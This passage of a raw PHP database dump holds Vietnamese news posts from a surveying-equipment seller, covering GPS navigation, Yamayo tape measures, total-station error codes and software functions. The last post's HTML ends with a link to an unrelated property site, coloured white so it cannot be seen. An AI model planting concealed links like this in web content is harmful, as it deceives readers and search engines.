initial !important;">2. Sử dụng các ứng dụng định vị dẫn đường trên smartphone:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tất cả các smartphone ngày nay đều được tích hợp với hệ thống định vị GPS, hệ thống định vị toàn cầu, đó chính là chìa khóa trong việc giúp người sử dụng có thể định vị đường đi chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="308" src="http://dathop.com.vn/file/1502182663-loi-khuyen-su-dung-may-dinh-vi-gps.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="485" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ta chỉ cần định vị điểm đến mà chúng ta muốn, ứng dụng chỉ đường trong smartphone sẽ định vị đường đi từ vị trí mà chúng ta đang đứng đến điểm đến một cách chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Đây là cách phổ biến, nhưng điểm yếu là vùng phủ sóng bị hạn chế bởi nhà cung cấp mạng smartphone.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">3. Sử dụng máy định vị GPS cầm tay:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="331" src="http://dathop.com.vn/file/1502182829-264962.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="498" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cũng như các ứng dụng định vị dẫn đường trên smartphone, máy định vị GPS cầm tay cũng sử dụng hệ thống định vị toàn cầu GPS, hiển thị màn hình màu, nhưng nó còn có những đặc điểm nỗi trội hơn hẵn mà các phượt thủ không nên bỏ qua:</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Độ bền: máy định vị GPS cầm tay để chế tạo để sử dụng nơi hoang dã. Không như smartphone, hầu hết các máy định vị GPS cầm tay đều có khả năng chống thấm IPX7 như <a href="http://dathop.com.vn/post/dac-diem-noi-troi-cua-may-gpsmap-78-78s.html" style="margin: 0px auto; text-decoration-line: none; color: rgb(51, 51, 51); background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">Garmin GPS MAP 78/78s</a> nên nước mưa không phải là vấn đề đáng ngại.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tuổi thọ pin: máy định vị GPS cầm tay có thể hoạt động trong hơn 15 giờ sau mỗi lần sạc. Hầu hết máy định vị GPS loại này đều sử dụng pin AA đi kèm với máy, có thể lựa chọn pin sạc hay pin Lithium để kéo dài thời gian hoạt động. Còn với smartphone, bạn bị giới hạn ở nguồn sạc trên xe hơi hay sạc tường.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Vùng phủ sóng: Tất cả những gì mà máy định vị GPS cần để xác định chính xác vị trí của bạn là một nơi có thể thấy rõ bầu trời, không bị giới hạn bởi vùng phủ sóng như điện thoại di động.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tính năng: máy định vị GPS cầm tay được tích hợp một khí áp kế để theo dõi sự thay đổi của điều kiện thời tiết, một la bàn điện tử để định hướng và một cao độ/khí áp kế để xác định cao độ nơi bạn đang đứng so với mặt nước biển. Ngoài ra còn có thể ghi lại điểm đã đi, tránh lạc đường nhờ chức năng tracklog.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Lập bản đồ: máy định vị GPS không cần phải kết nối dữ liệu điện thoại di động để tải bản đồ, vì bản đồ đã được tải sẵn trong thiết bị này.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tính tới thời điểm hiện tại thì việc sử dụng thiết bị định vị GPS cầm tay sẽ là một lựa chọn tối ưu nhất cho các phượt thủ của chúng ta. </span></span></p> ', 'images' => '20170822084111b76542c2d4df05b5c7e4ccab538fe8c0.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '77229', 'slug' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '859', 'rght' => '860', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '491', 'name' => 'Thước dây Yamayo', 'code' => null, 'alias' => 'thuoc-day-yamayo', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thước dây là thiết bị đo đạc vô cùng quen thuộc trong mọi công trình cũng như trong cuộc sống thường ngày. Tuy nhiên, trong điều kiện khác nhau nên sử dụng loại thước chuyên biệt để đáp ứng độ chính xác cao, nhất là trong điều kiện ẩm thấp sẽ giảm chất lượng đi rất nhiều.</strong></span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Kể từ khi thành lập vào năm 1906, công ty Yamayo Measuring Tools, Ltd luôn cho ra đời những thiết bị đo lường tin cậy và không ngừng cải tiến công nghệ để đảm bảo độ chính xác cao nhất trong điều kiện môi trường khắc nghiệt nhất.<br /> Hiện nay, Yamayo là một trong những nhà sản xuất lớn nhất và hàng đầu trong lĩnh vực đo lường tại Nhật Bản và đã được công nhận đặt nhãn JIS (cấp 1) cho mỗi sản phẩm theo tiêu chuẩn Quy chuẩn Công nghiệp Nhật Bản do Chính phủ quy định.<br /> Với nhiều năm kinh nghiệm tích lũy và lao động có tay nghề cao, Yamayo sản xuất những dòng sản phẩm được thiết kế tinh xảo, chất lượng cao dưới sự kiểm soát nghiêm ngặt.<br /> Tùy tính chất công việc cũng như điều kiện sử dụng mà Yamayo cho ra đời nhiều dòng thước dây khác nhau, đáp ứng độ chính xác cao cũng như đồ bền dài lâu.<br /> Thước dây Yamayo không đơn thuần là loại thước dây dùng trong đo đạc mà là loại thước với có nhiều đặc tính riêng biệt khác nhau. Trong môi trường luôn ẩm thấp, khắc nghiệt thì các loại thước thông thường sẽ nhanh chóng bị rỉ sét hoặc co dãn làm giảm độ chính xác mong muốn </span></span><span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px; white-space: pre-wrap;">nhưng thước dây sợi thủy tinh OTR Yamayo sẽ khắc phục mọi yếu tố bất lợi, giúp bạn đo đạc trong công trình xây dựng, đường ống nước, dây điện hay trong giao thông,... một cách dễ dàng và chính xác hơn.</span><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/Thuoc thep Yamayo.jpg" /><br /> <strong>Ưu điểm:</strong><br /> - Ít nhạy cảm, thân thiện với môi trường khi sử dụng.<br /> - Là loại thước sợi thuỷ tinh với lớp phủ PVC MILLION.<br /> - Lõi tổng hợp các sợi thủy tinh --> chống điện, chịu nhiệt cao, chống nước.<br /> <strong>ĐẶC ĐIỂM NỔI BẬT</strong><br /> · Là sản phẩm đến từ thương hiệu Yamayo của Nhật, được các nhà thầu tin dùng.<br /> · Thước làm từ sợi thủy tinh mang lại tính mềm dẻo, uyển chuyển, dễ dàng sử dụng.<br /> · Mặt thước được in ấn các chi tiết rõ ràng, giúp đọc số dễ dàng.<br /> · Sử dụng đo đạc với nhiều mục đích khác nhau với chiều dài dải đo lên đến 30m, 50m, 100m.<br /> · Thân thước gọn nhẹ dễ dàng mang theo bên mình.</span></span>', 'images' => '20170822082652b877c34c37d3ab54dcabe110b6a67214.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71691', 'slug' => 'thuoc-day-yamayo', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '857', 'rght' => '858', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '490', 'name' => 'Những lỗi thường gặp khi sử dụng máy toàn đạc điện tử', 'code' => null, 'alias' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px;">Máy toàn đạc điện tử là một thiết bị đo đạc yêu cầu độ chính xác tuyệt đối nhằm đảm bảo yếu tố kỹ thuật chính xác trong quá trình xây dựng công trình, cầu đường, vẽ bản đồ, thăm dò địa chất…Những lỗi thường gặp trong quá trình sử dụng máy toàn đạc điện tử bạn nên biết.</span>', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Những lỗi thường gặp khi sử dụng máy toàn đạc Topcon và Sokkia mà bạn cần biết!</strong></p> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <br /> <strong>* Máy toàn đạc Topcon:</strong><br /> <br /> - V Angle Error: Khi khởi động trên màn hình sẽ hiển thị “V Angle Error” hoặc số đọc góc đứng chỉ thay đổi trong một khoảng nào đó rồi đứng yên (bị treo) nhưng màn hình không hiển thị lỗi, tiếp tục quay ống kính thì góc thay đổi trở lại bình thường nhưng máy sẽ bị sai số MO rất lớn.<br /> - H Angle Error: Khi khởi động trên màn hình sẽ hiển thị “H <span class="text_exposed_show" style="display: inline; font-family: inherit;">Angle Error”, hoặc quay thân máy đến một vị trí nào đó thì số đọc góc ngang không thay đổi và máy bị treo.<br /> - Tilt Over: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng rồi nhưng lỗi này vẫn xuất hiện là do lỗi của hệ thống bù nghiêng điện tử.<br /> - E61, E68, E69: lỗi này xuất hiện khi có sự bất thường xảy ra ở hệ thống đo cạnh, phần lớn xảy ra ở mạch xử lý đo cạnh. Trong một số trường hợp máy không xuất hiện lỗi này nhưng máy đo cạnh cho kết quả sai số lớn so với thực tế (số ảo).<br /> - E99: xuất hiện khi khởi động máy do mạch chủ của thiết bị hoạt động không bình thường.<br /> - Memory Error: lỗi xảy ra ở bộ nhớ của thiết bị.<br /> Trong các trường hợp máy bị rơi máy sẽ thường báo lỗi “Tilt Over”. Lúc đó máy sẽ không bắt được mục tiêu, khoảng cách đo ngắn, tâm laser đo cạnh bị lệch…</span><br /> </p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <strong>* Máy toàn đạc điện tử Sokkia:</strong><br /> <br /> - Out of range: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng nhưng vẫn xuất hiện lỗi này thì bộ bù nghiêng điện tử của máy có sự bất thường.<br /> - Bad Condition, E003, E005: Lỗi này xảy ra ở hệ thống đo cạnh. Trong một số trường hợp, máy không báo một trong các lỗi này nhưng khoảng cách đo lại ngắn hơn 50m.<br /> - E190, E191: Lỗi xảy ra ở hệ thống góc đứng và ngang.</p> <p style="margin: 6px 0px; font-family: inherit;"> </p> <p style="margin: 6px 0px; font-family: inherit;"> Khi gặp những lỗi trên hãy liên lạc với chúng tôi theo số hotline: 0913051734 để được tư vấn kịp thời hoặc mang máy tới địa chỉ sau để khắc phục nhé!</p> <p style="margin: 6px 0px; font-family: inherit;"> CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT<br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none; font-family: inherit;" target="_blank">www.tracdiathanhdat.vn</a></p> </div> ', 'images' => '20170725082617856a8a63d5ddebf72614164f9ef7005f.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63798', 'slug' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '855', 'rght' => '856', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '489', 'name' => 'Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?', 'code' => null, 'alias' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Bạn đã chọn Trắc địa Thành Đạt là đơn vị cung cấp máy móc đo đạc cho dự án của mình chưa?</strong><br /> <br /> Những lý do sau sẽ giúp bạn hiểu thêm về chúng tôi:<br /> <br /> - Cung cấp sản phẩm đa dạng, phong phú với những thương hiệu uy tín trên thị trường như Trimble, Leica, Topcon, Sokkia, Nikon, Yamayo, Kenwood, Garmin …<br /> <br /> - Có hỗ trợ phần mềm đi kèm, với nhân viên kỹ thuật có chuyên môn, tư vấn tận tình<br /> <br /> <br /> - Cập nhật những dòng máy mới, công nghệ mới nhằm tăng độ chính xác và hiệu quả hơn trong công tác đo <span class="text_exposed_show" style="display: inline; font-family: inherit;">đạc, giúp tiết kiệm nhân công và chi phí.<br /> <br /> - Thiết bị có đầy đủ linh kiện, phụ kiện theo kèm; có giấy kiểm nghiệm; phiếu bảo hành; ghi rõ nguồn gốc xuất xứ.<br /> <br /> - Có đội ngũ kỹ thuật chuyên môn cao về lĩnh vực trắc địa để tư vấn phù hợp và kịp thời xử lý vấn đề như thiết bị bị lỗi, kiểm định, bảo hành, bảo dưỡng,…<br /> <br /> - Có nhiều giải pháp phù hợp cho nhiều đối tượng, từ những công ty lớn với những dự án lớn, yêu cầu cao và phức tạp cho tới những đơn vị nhỏ, lẻ với những dự án vừa và nhỏ</span></p> <div class="text_exposed_show" style="display: inline; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <p style="margin: 0px 0px 6px; font-family: inherit;"> <img alt="" src="/admin/webroot/upload/image/images/Sprinter_Measuring_500.jpg" style="width: 500px; height: 333px;" /><br /> <br /> <u>Liên hệ:</u><br /> <br /> <strong>CÔNG TY CP CÔNG NGHỆ VÀ TM THÀNH ĐẠT</strong><br /> 50 Láng Hạ, Đống Đa, Hà Nội<br /> Tel: 0243 7765908 - 0243 7764930<br /> Hotline: 0913051734<br /> Website: <a href="http://www.tracdiathanhdat.vn/" rel="nofollow noopener" style="color: rgb(54, 88, 153); cursor: pointer; text-decoration-line: none;" target="_blank">www.tracdiathanhdat.vn</a><br /> </p> </div> ', 'images' => '201707240414024fbb6fccfcb40bf7edd645a69343b1cb.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-07-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '58560', 'slug' => 'ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '853', 'rght' => '854', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '488', 'name' => 'PHẦN MỀM ỨNG DỤNG MÁY TOÀN ĐẠC ĐIỆN TỬ BẠN NÊN BIẾT', 'code' => null, 'alias' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Máy toàn đạc điện tử cơ bản là máy kinh vĩ kết hợp khối đo xa điện tử và phần mềm tiện ích trong máy. Phần mềm tiện ích để giải quyết các bài toán trong trắc địa và tính ra các đại lượng cần thiết, quản lý dữ liệu, giao tiếp với máy tính...</strong></span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong máy toàn đạc điện tử thì các chương trình ứng dụng thường có trong 2 phần là Reference (Chương trình đo tham chiếu) và COGO (tính toán địa hình).<br /> <br /> - <strong> Chương trình đo tham chiếu (Reference):</strong><br /> + Reference Line (Tham chiếu đường thẳng):Chương trình đo tham chiếu đường thẳng là ứng dụng giúp xác định 1 hoặc nhiều đường thẳng tham chiếukhi biết 1 đường Base line và khoảng cách Offset giữa 2 đường.<br /> + Reference Arc (Tham chiếu đường cong):Ứng dụng tham chiếu đường cong cho phép người dùng có thể xác định 1 đường cong và hoàn thànhcác nhiệm vụ sau đây:<br /> * Line&Offset: Xác định khoảng cách và giá trị offset của 1 điểm với cung tròn<br /> * Stakeout (Point, Arc, Chord, Angle): Triển điểm thiết kế<br /> - <strong>Cogo:</strong><br /> + <strong>MLM</strong>: Tính khoảng cách giữa 2 gương<br /> + <strong>REM</strong>: Tính chiều cao không với tới<br /> + <strong>AREA: </strong>Tính diện tích.<br /> + <strong>Inverse</strong>: Tính góc phương vị và khoảng cách từ 2 điểm biết tọa độ.<br /> + <strong>Tranverse: </strong>Tính tọa độ khi biết tọa độ 1 điềm, góc phương vị, cạnh. Khi tính toán xong thì ta dùng <strong>Setout </strong>để bố trí ra ngoài thực địa.<br /> + <strong>Brg-Brg</strong>: Tính tọa độ điểm P3 là giao của P1P3 và P2P3 khi biết tọa độ P1, góc phương vị αP1P3, tọa độ P2, góc phương vị αP2P3.<br /> + <strong>Brg-Dst</strong>: Tính tọa độ điểm P3, P4 khi biết tọa độ P1, P2, góc phương vị αP1P2, khoảng cách bán kính tính từ P2.<br /> + <strong>Intersection 4 points</strong>:Tính tọa độ giao điểm P5 khi biết tọa độ P1, P2, P3, P4.<br /> + <strong>DistOf</strong>: Tính khoảng cách từ điểm P1 đến đường vuông góc P3˽P1P2 và khoảng cách đường vuông góc từ P3 đến P1P2.<br /> + <strong>Set point by Dist offset</strong>: Tính tọa độ điểm P3 khi biết tọa độ P1, P2, khoảng cách dường vuông góc từ P3 đến P1P2, khi tính xong ta dùng <strong>Setout</strong> để chuyển điểm ra thực địa).<br /> + <strong>Extension</strong>: Chức năng Extension được ứng dụng để xác định 1 điểm bất kỳ trên 1 đường thẳng khi biết trước 2điểm làm gốc, và khoảng cách cần từ điểm thứ nhất đến điểm cần xác định, hoặc từ điểm thứ 2 đếnđiểm cần xác định.<br /> <br /> Liên hệ hotline: 0913051734 để biết thêm thông tin chi tiết. </span></span><a href="http://beehomes.com.vn/goldlight.html"><span style="color:#ffffff;">Goldlight</span></a>', 'images' => '2017061307412262e44187d92348c552952aa4bf152e90.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-06-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '63648', 'slug' => 'phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '851', 'rght' => '852', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 